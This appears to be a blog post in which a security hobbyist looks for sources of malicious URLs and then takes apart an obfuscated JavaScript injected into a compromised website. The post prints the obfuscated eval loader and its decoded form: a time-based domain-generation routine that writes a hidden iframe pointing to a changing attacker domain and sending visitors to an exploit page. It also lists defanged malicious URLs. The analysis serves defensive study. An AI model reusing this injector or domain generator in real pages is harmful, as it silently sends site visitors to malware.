Sources for Malware and a Random URL Script

One difficulty of being a threat hobbyist is being able to find malicious links to evaluate, practice and learn from. For some time I have been using the RSS feed from Malware Domain List (mdl) as a source. I have been running into the issue that the amount of malicious links is not significant, and there are times when there are no active malicious links. So, I needed to expand my hunting grounds.

First, I tried Malware Blacklist, but the number of published malicious URLs were far shorter than that of mdl.
Next I tried malc0de database feed and VX Vault. The problem with these sources is that the URLs are directly pointed to the executable; and not the redirection, or landing page (exploit page). But all is not lost for finding the exploit page. Many landing pages deliver their own malware. This means that we can take a link like:
hxxp://wufjajcy.ru/links/1.php?edybij=aic&ksa=1j:1n:1m:1l:1m:2w:31:1j:1m:1g&in=tel&grfn=mondor&foa=mad
and use the initial page without arguments

hxxp://wufjajcy.ru/links/1.php?

This turns out to be the exploit page. However, we only get a small fraction of the exploit pages this way.
.

URL Query

Finally I remembered URL Query (http://urlguery.net).
“urlQuery is a free online service for testing and analyzing URLs, helping with identification of malicious content on websites. The main focus of urlQuery is to find and detect suspicious and malicious content on webpages, to help improve the security industry and make the internet a safer place.”
This site posts URL’s that have matched a selection of Snort with Sourcefire VRT and Suricata with Emerging Threats Pro signatures. The site is extremely useful, though you still need to validate that they are indeed malicious.
There are some different style of attacks on this site than that of MDL, or at least that was my opinion looking at the volume.
I started my new truant checking out a random link with a good number of hits.
hxxp://www.grupposanmartino.it/category/rassegna/recensioni/
Here is a link to the report.
URL Query Report
The URL Query Interface doesn’t help providing a copy of the original download of the page. So, in order to write good signatures and understand the exploit better, we need to get a copy of the raw page. This can be done with a curl call:
$ curl -K curl.config "http://www.grupposanmartino.it/category/rassegna/recensioni/" -o urlq.index
When we do this, on the page there is some interesting JavaScript:
script>v="v"+"a"+"l";if(020===0x10&&window.document)try{window.document.body=v}catch(gdsgsdg){w=window;if(020===0x10)e=w["e".concat(v)];}
if(1){f=new Array(102,116,108,99,115,103,111,109,30,110,100,118,116,81,95,110,99,109,109,77,115,109,97,99,114,39,39,123,9,30,32,31,30,118,96,112,32,103,103,32,60,30,116,103,103,115,45,113,101,100,98,32,46,30,116,103,103,115,45,79,59,9,30,32,31,30,118,96,112,32,…skipping …..
30,32,31,123,99,96,114,99,103,38,101,40,121,105,101,112,97,108,99,87,96,113,67,113,99,97,115,99,100,31,59,32,116,108,100,100,100,105,109,99,100,58,123,10,124,42,32,48,46,48,40,57);}w=f;s=[];r=String;for(i=0;-i+1728!=0;i+=1){j=i;if(e&&(031==0x19))s=s+r.fromCharCode((1*w[j]+j%3));}
try{(w+s)()}catch(asga){e(s)}</script
This type of JavaScript is easy to de-obfuscate. I like to use Node.JS, as it has a built in v8 engine (and it makes me fell like I actual know Node.JS). So, I brought the node.js shell up and started loading the obfuscated JavaScript, getting rid of document and evals as I went along:
$ node
> f=new Array(102,116,108,99,115,103,111,109,30,110,100,118,116,81,95,110,99,109,109,77,115,109,97,99,114,39,39,123,9,30,32,31,30,118,96,112,32,103,103,32,60,30,116,103,103,115,45,113,101,100,98,32,46,30,116,103,103,115,45,79,59,9,30,32,31,30,118,96,112,32,107,109,32,60,30,116,103,103,115,45,…skipping…31,30,32,31,123,99,96,114,99,103,38,101,40,121,105,101,112,97,108,99,87,96,113,67,113,99,97,115,99,100,31,59,32,116,108,100,100,100,105,109,99,100,58,123,10,124,42,32,48,46,48,40,57);
[ 102,
  116,
  108,
  99,
  115,
  103,
  111,
 … skipping ….
  58,
  123,
  10,
  124,
  42,
  32,
  48,
  46,
  48,
  40,
  57 ]
> w=f;s=[];r=String;
[Function: String]
> for(i=0;-i+1728!=0;i+=1){j=i;s=s+r.fromCharCode((1*w[j]+j%3));}
'function nextRandomNumber(){\n var hi = this.seed / this.Q;\n var lo = this.seed % this.Q;\n var test = this.A * lo - this.R * hi;\n if(test > 0){\n this.seed = test;\n } else {\n this.seed = test + this.M;\n }\n return (this.seed * this.oneOverM);\n}\n\nfunction RandomNumberGenerator(unix){\n var d = new Date(unix*1000);\n var s = Math.ceil(d.getHours()/3);\n this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)+ (Math.round(s * 0xFFF));\n this.A = 48271;\n this.M = 2147483647;\n this.Q = this.M / this.A;\n this.R = this.M % this.A;\n this.oneOverM = 1.0 / this.M;\n this.next = nextRandomNumber;\n return this;\n}\n\nfunction createRandomNumber(r, Min, Max){\n return Math.round((Max-Min) * r.next() + Min);\n}\n\nfunction generatePseudoRandomString(unix, length, zone){\n var rand = new RandomNumberGenerator(unix);\n var letters = "qmahgwctopfjilrfpjrfcwgewheizwdw".split(\'\');\n var str = \'\';\n\tfor(var i = 0; i < length; i ++ ){\n str += letters[createRandomNumber(rand, 0, letters.length - 1)];\n }\n return str + \'.\' + zone;\n}\n\nsetInterval(function(){\n try{\n if(typeof iframeWasCreated == "undefined"){\n var unix = Math.round(+new Date()/1000);\n var domainName = generatePseudoRandomString(unix, 16, \'mynumber.org\');\n ifrm = document.createElement("IFRAME"); \n ifrm.setAttribute("src", "http://"+domainName+"/in.cgi?14"); \n ifrm.style.width = "0px"; \n ifrm.style.height = "0px"; \n ifrm.style.visibility = "hidden"; \n document.body.appendChild(ifrm);\n\t\t\tiframeWasCreated = true;\n }\n }catch(e){iframeWasCreated = undefined;}\n}, 100);'
Stop for a second, let’s go back to the URL Query site. On this page there is a section that says there is JavaScript on the malicious site that is executed via eval().
Deobfuscated Eval Script
I bolded our bizarre code above to show the assignment of e=eval; This is used to evaluate this array. URL Query has already evaluated and simplified this obfuscation for us, and it matches what we just did with the raw script:
Now, back on our node shell we can load the functions. Just cut and paste them into the shell.
> function nextRandomNumber(){
... var hi = this.seed / this.Q;
... var lo = this.seed % this.Q;
... var test = this.A * lo - this.R * hi;
... if(test > 0){
..... this.seed = test;
..... } else {
..... this.seed = test + this.M;
..... }
... return (this.seed * this.oneOverM);
… }
undefined
> 
undefined
> function RandomNumberGenerator(unix){
... var d = new Date(unix*1000);
... var s = Math.ceil(d.getHours()/3);
... this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)+ (Math.round(s * 0xFFF));
… 
... this.A = 48271;
... this.M = 2147483647;
... this.Q = this.M / this.A;
... this.R = this.M % this.A;
... this.oneOverM = 1.0 / this.M;
... this.next = nextRandomNumber;
... return this;
… }
undefined
> function createRandomNumber(r, Min, Max){
... return Math.round((Max-Min) * r.next() + Min);
… }
undefined
> function nextRandomNumber(){
... var hi = this.seed / this.Q;
... var lo = this.seed % this.Q;
... var test = this.A * lo - this.R * hi;
... if(test > 0){
..... this.seed = test;
..... } else {
..... this.seed = test + this.M;
..... }
... return (this.seed * this.oneOverM);
… }
undefined
> 
undefined
> function RandomNumberGenerator(unix){
... var d = new Date(unix*1000);
... var s = Math.ceil(d.getHours()/3);
... this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)+ (Math.round(s * 0xFFF));
… 
... this.A = 48271;
... this.M = 2147483647;
... this.Q = this.M / this.A;
... this.R = this.M % this.A;
... this.oneOverM = 1.0 / this.M;
... this.next = nextRandomNumber;
... return this;
… }
undefined
At this point we are left with one last function that is associated with a set Interval.
setInterval(function(){
    try{
        if(typeof iframeWasCreated == "undefined"){
            var unix = Math.round(+new Date()/1000);
            var domainName = generatePseudoRandomString(unix, 16, 'mynumber.org');
            ifrm = document.createElement("IFRAME");
            ifrm.setAttribute("src", "http://"+domainName+"/in.cgi?14");
            ifrm.style.width = "0px";
            ifrm.style.height = "0px";
            ifrm.style.visibility = "hidden";
            document.body.appendChild(ifrm);
   iframeWasCreated = true;
        }
    }catch(e){iframeWasCreated = undefined;}
}, 100);
This will kick off in 100 milliseconds. The script checks to see if it was already kicked off. This is common, as the script was infected into the page, and likely to be placed in a number of .js files too. URL Query tells us there are seven (7) such places. Only one will execute, writing to the DOM of its existence to prevent the others from sending the browser a number of times to the landing page.
var unix = Math.round(+new Date()/1000);
var domainName = generatePseudoRandomString(unix, 16, ‘mynumber.org’);
We really just care about the first two lines, as we see it is here that the domain is created, and then in line four the URI argument is added. Now, we can see that this URL query already has evaluated this and attempted to go to the site, but its time is different, and it can also be using a saved report. That means that URL in the analysis is out of date. Let’s run the first two lines to get the latest version.
> var unix = Math.round(+new Date()/1000);
undefined
> unix
1357644570
> var domainName = generatePseudoRandomString(unix, 16, 'mynumber.org');
undefined
> domainName
'zgmrwjdfewwtirco.mynumber.org'
I had seen a blog about this type of assignment before. Not only is are the domains from a dynamic domain server, the domain that is being linked to is randomly created
... var s = Math.ceil(d.getHours()/3);
... this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)+ (Math.round(s * 0xFFF));
We can see that the attributes of the month integer, date integer and the hour integer (mod-up three) makes plus the seed (2345678901) makes a unique name that is appended to the dynamic domain company to make a domain that is only correct for three hours. We can actually generate all the future permutations of the domain and prevent the attack, but for now I want to see the exploit.
When I curl this domain, it turns out that someone at “malware domain list” had already reserved it … awesome. (and yet a bummer I didn’t get to the exploit).
MDL Welcome
Today was a good day. I found a new source of entertainment. Now, I just need to figure out how to get to some of these sites a little faster than MDL.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: